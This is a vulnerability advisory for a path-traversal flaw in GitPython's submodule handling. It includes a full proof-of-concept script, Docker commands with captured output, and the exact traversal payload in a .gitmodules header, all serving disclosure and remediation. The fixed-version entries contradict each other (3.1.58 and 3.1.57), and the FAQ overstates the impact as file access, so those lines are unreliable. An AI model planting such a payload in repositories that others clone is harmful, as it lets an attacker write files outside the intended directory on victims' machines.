GHSA-hmq2-w58f-27jc: Path Traversal
Summary GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submoduleupdate(init=True) / sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.
Details src/GitPython/git/objects/submodule/util.py smname() strips the submodule " / " wrapper from a .gitmodules [submodule "..."] header and returns the result unchecked. Submodule.iteritems() in src/GitPython/git/objects/submodule/base.py reads this via smname(sms) and assigns it to sm.name; unlike the submodule path, name is never used for a tree lookup, so it is never implicitly validated. Submodule.moduleabspath() then builds osp.join(parentrepo.gitdir, "modules", name) - os.path.join does not normalize ../ sequences. Submodule.clonerepo() passes this value straight to os.makedirs() and to git clone --separate-git-dir=<moduleabspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.
PoC 1. Environment: Docker image built FROM python:3.11-slim, with git installed via apt-get install -y git (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git 2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via pip install /src/GitPython from this repository's own source, which the advisory states resolved to the officially released GitPython==3.1.57 and gitdb==4.0.12. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (repo.submodules + sm.update(init=True), equivalent to git submodule update --init). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc (Per the Dockerfile, docker run executes /work/runall.sh, which in turn runs buildattackerrepo.sh, then pocgitpython.py, then poccontrolrealgit.sh.) 4. Full source of the PoC script (GHSA/testing/pocgitpython.py), verbatim: python """GHSA-001 PoC: GitPython side.
Clones the attacker repo and runs the equivalent of git submodule update --init via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil
import git
CLONEDIR = '/work/victimclone/repo' ESCAPETARGET = '/tmp/gitpythonpocescapedroot'
def main(): shutil.rmtree(os.path.dirname(CLONEDIR), ignoreerrors=True) shutil.rmtree(ESCAPETARGET, ignoreerrors=True) os.makedirs(os.path.dirname(CLONEDIR), existok=True)
print(f'GitPython version: {git.version}') repo = git.Repo.clonefrom('/work/attackerrepo', CLONEDIR) print('Cloned into:', repo.workingtreedir)
sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path))
print('escapetarget exists before update:', os.path.exists(ESCAPETARGET))
for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e))
exists = os.path.exists(ESCAPETARGET) print('escapetarget exists after update:', exists) if exists: print('escapetarget contents:', os.listdir(ESCAPETARGET))
print('POCRESULT=VULNERABLE' if exists else 'POCRESULT=SAFE')
if name == 'main': main() 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victimclone/repo submodule name: '../../../../../../tmp/gitpythonpocescapedroot/modulesdir' submodule path: 'legitdir' escapetarget exists before update: False escapetarget exists after update: True escapetarget contents: ['modulesdir'] POCRESULT=VULNERABLE
=== Control: real git CLI on identical repo === warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpythonpocescapedroot/modulesdir warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpythonpocescapedroot/modulesdir fatal: No url found for submodule path 'legitdir' in .gitmodules CONTROLRESULT=SAFE (real git correctly refused) 6. Payload: the attacker rewrites the .gitmodules section header from [submodule "legitdir"] to [submodule "../../../../../../tmp/gitpythonpocescapedroot/modulesdir"] (built by buildattackerrepo.sh, part of the harness in GHSA/testing/). The malicious part is the ../../../../../../ traversal sequence embedded in the submodule name (not the tree-validated path), which becomes the on-disk target for the submodule's separate git directory. 7. Expected vs. observed: A safe implementation (as demonstrated by the real git CLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at /tmp/gitpythonpocescapedroot/modulesdir, confirmed by escapetarget exists after update: True and its listed contents. 8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) url.
Impact Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/GitPythonto a version that resolves this vulnerability.Fixed in 3.1.58 - Upgrade
Upgrade
GitPythonto a version that resolves this vulnerability.Fixed in 3.1.57 - Compensating control
Until a fixed GitPython version is applied, prevent untrusted repositories from being cloned and having submodules initialized via GitPython (repo.submodules + sm.update(init=True)).
Event History
Frequently Asked Questions
What is the severity of GHSA-hmq2-w58f-27jc?
The severity of GHSA-hmq2-w58f-27jc is classified as high, with a CVSS score of 8.2.
How does GHSA-hmq2-w58f-27jc affect GitPython?
GHSA-hmq2-w58f-27jc affects GitPython by allowing an attacker to exploit unvalidated paths in a submodule's configuration.
How do I fix GHSA-hmq2-w58f-27jc?
To fix GHSA-hmq2-w58f-27jc, update GitPython to a version that addresses the vulnerability as per the security advisory.
What type of attack is possible due to GHSA-hmq2-w58f-27jc?
GHSA-hmq2-w58f-27jc can allow for path traversal attacks, leading to unauthorized file access on the system.
What is the recommended action for users of GitPython regarding GHSA-hmq2-w58f-27jc?
Users of GitPython should immediately assess their usage scenarios and apply necessary security patches to mitigate the risks posed by GHSA-hmq2-w58f-27jc.